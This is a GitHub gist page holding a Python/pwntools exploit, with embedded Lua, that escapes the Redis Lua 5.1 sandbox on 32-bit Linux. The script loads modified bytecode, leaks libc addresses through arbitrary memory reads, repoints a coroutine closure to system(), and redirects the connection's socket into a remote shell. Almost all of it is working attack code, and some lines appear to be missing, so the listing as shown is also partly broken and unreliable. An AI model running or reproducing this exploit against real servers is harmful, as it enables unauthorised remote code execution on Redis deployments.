Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Redis Lua 5.1 sandbox escape 32-bit Linux exploit
## Redis Lua 5.1 sandbox escape 32-bit Linux exploit
## Original exploit by corsix and sghctoma
## Author: @c3c
## It's possible to abuse the Lua 5.1 sandbox to obtain RCE by loading modified bytecode
## This concept is fully explained on corsix' gist at
## This version uses pieces of the 32-bit Windows exploit made by corsix and the 64-bit Linux exploit made by sghctoma; as expected, a few offsets were different
## sghctoma's exploit uses the arbitrary memory read to leak pointers to libc and find the address of "system"
## This code is much the same, except the process is done using pwntools' DynELF
## Furthermore, attempting to leak addresses in libc appears to cause segfaults on my 32-bit Linux, in which case, you will need to obtain the remote libc version
## Lastly, only 8 bytes are available to send a shell command to the server.
## Due to the size restrictions, we hijack the filedescriptor of the current socket and effectively execute "sh <&5 >&5" (or another FD) in two steps
from pwn import *
FD = 6 # filedescriptor to use - will probably be different for your target
r = remote("127.1", 6379)
libc = ELF("") # currently we need to have a local copy of libc as leaking the BuildID will cause a segfault
#context.log_level = 'debug'
local asnum = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function double_to_dwords(x)
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local m, e = math.frexp(x)
if e + 1023 <= 1 then
m = m * 2^(e + 1074)
e = 0
m = (m - 0.5) * 2^53
e = e + 1022
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
local function dwords_to_double(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
e = 1
return m * 2^(e-1075)
local function add_dword_to_double(x, n)
local lo, hi = double_to_dwords(x)
return dwords_to_double(lo + n, hi)
local function dword_to_string(x)
local b0 = x % 256; x = (x - b0) / 256
local b1 = x % 256; x = (x - b1) / 256
local b2 = x % 256; x = (x - b2) / 256
local b3 = x % 256
return string.char(b0, b1, b2, b3)
local logval = {}
local function logit(msg)
logval[0] = msg
rawset(_G, "logval", logval)
rawset(_G, "logit", logit)
rawset(_G, "add_dword_to_double", add_dword_to_double)
rawset(_G, "asnum", asnum)
rawset(_G, "double_to_dwords", double_to_dwords)
rawset(_G, "dwords_to_double", dwords_to_double)
rawset(_G, "dword_to_string", dword_to_string)
-- stop garbage collecting
collectgarbage "stop"
-- unhook any installed debug hook
local f = loadstring(string.dump(function()
local magic = nil
local function middle()
local print = print
local asnum = asnum
local double_to_dwords = double_to_dwords
local add_dword_to_double = add_dword_to_double
local dwords_to_double = dwords_to_double
local upval
local logit = logit
local lo, hi
local function put_into_magic(n)
upval = 2^52 .. "p" .. "CE3CCE3C" .. dword_to_string(n)
local upval_ptr = dword_to_string(asnum(upval) - 2^52 + 16 + 20)
magic = upval_ptr .. upval_ptr
end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))
-- we're using a global logger that uses a dictionary - otherwise we'd get a segfault
-- this is used to return the leaked pointer back to the current redis connection
return logval[0]
LUA_LEAKER = LUA_TEMPLATE.format(payload=r"""
local address = {address}
lo, hi = double_to_dwords(asnum(magic))
LUA_COWRITE = LUA_TEMPLATE.format(payload=r"""
local address = {address}
local command = dwords_to_double({command[0]}, {command[1]}) -- e.g. sh <&5
local luastate_bkp
-- we have to define numbers as local variables as further on, we'll corrupt the call frame
local n0 = 0
local n16 = 16
-- type confusion trick as explained by corsix
do local l0 = 2^52 local l1, l2, l3, l4, l5, l6, l7 = l0, l0, l0, l0, l0, l0, l0 end
local co = coroutine.wrap(function() end) -- coroutine.wrap creates a CClosure whose function pointer is set to luaB_auxwrap
local luastate = asnum(coroutine.running()) -- get the address of current "lua_State"
-- put luaB_auxwrap's address into "magic" and make it so CClosure::f points to system()
-- note: n12 points to CClosure::env, we're immediately skipping to ::f here,
-- also because if we don't, we don't seem to be able to set values higher than 0x7ff00000 in the higher bits (something to do with dwords to float conversion?)
put_into_magic(add_dword_to_double(asnum(co), n16))
local auxwrap, hi = double_to_dwords(asnum(magic))
magic = dwords_to_double(address, n0) -- sets co's CClosure::f to the defined address ('system')
-- save the current lua_State
luastate_bkp = asnum(magic)
-- put luastate into magic - we're using this buffer for our shell arguments
-- we can only execute commands in 8 byte chunks so we need to be smart about it =)
magic = command
co() -- trigger the coroutine, effectively calling our address
-- restore the original lua_State
magic = luastate_bkp
log.debug("\n==== Generated leaker function ====\n" + LUA_LEAKER + "\n========")
log.debug("\n==== Generated coroutined overwrite function ====\n" + LUA_COWRITE + "\n========")
# redis has its own binary protocol which we're emulating here
def gen_redis_proto(*args):
proto = ''
proto += '*' + str(len(args)) + '\r\n'
for arg in args:
proto += '$' + str(len(arg)) + '\r\n'
proto += str(arg) + '\r\n'
return proto
## STEP 1: define helper functions
# first we define a number of helper functions on the redis server
# this uses the "rawset" trick to make them persist in the global scope"Installing helper functions on the server")
r.send(gen_redis_proto("eval", LUA_FUNCTIONS, '0'))
## STEP 2: leak the necessary addresses
# leaker function for pwntools' DynELF class
# the leak function will send crafted EVAL statements to the server which will leak 4 bytes of memory at the supplied address
def leak(address):
r.send(gen_redis_proto("eval", LUA_LEAKER.format(address=str(address)), '0'))
data = r.recvline()
if not data.startswith(":"): # ints returned by the server will start with a colon in redis' binary protocol
log.error("Invalid response from redis server")
data = p32(int(data.split(":")[1]))
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
# start leaking and get the library base addresses from the link_map
# pwntools will do this transparently as follows:
# - from the program base address, locate the program header table (PHT)
# - in the PHT, find the offset to the DT_DEBUG table
# - in the DT_DEBUG table we find the pointer to the link_map
# - the link_map contains the addresses for all the loaded libraries
d = DynELF(leak, 0x8048000)
libbases = d.bases()
libc_base = None
for key,val in libbases.iteritems():
if "libc" in key:
libc_base = val
assert libc_base is not None
log.success("Found libc (%s) mapped at: 0x%08x" % (key, val))
libc.address = libc_base
libc_system = libc.symbols["system"]
log.success("Remote libc 'system' address: 0x%08x" % libc_system)
## STEP 3: overwrite the CClosure::f pointer to libc_system
command = "sh <&%d" % FD # this step allows us to execute commands by redirecting the socket to stdin of the shell
command = struct.unpack("<LL", command.ljust(8,'\x00'))
r.send(gen_redis_proto("eval", LUA_COWRITE.format(address=str(libc_system), command=map(str,command)), '0'))"Sent our payload. Dup'ing file descriptor now to get output")
r.sendline("sh >&%d 2>&%d" % (FD,FD)) # this step allows us to execute commands by redirecting the shell output to the socket"If there's no shell you may need a different file descriptor. If the server crashed, your libc version is probably wrong.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.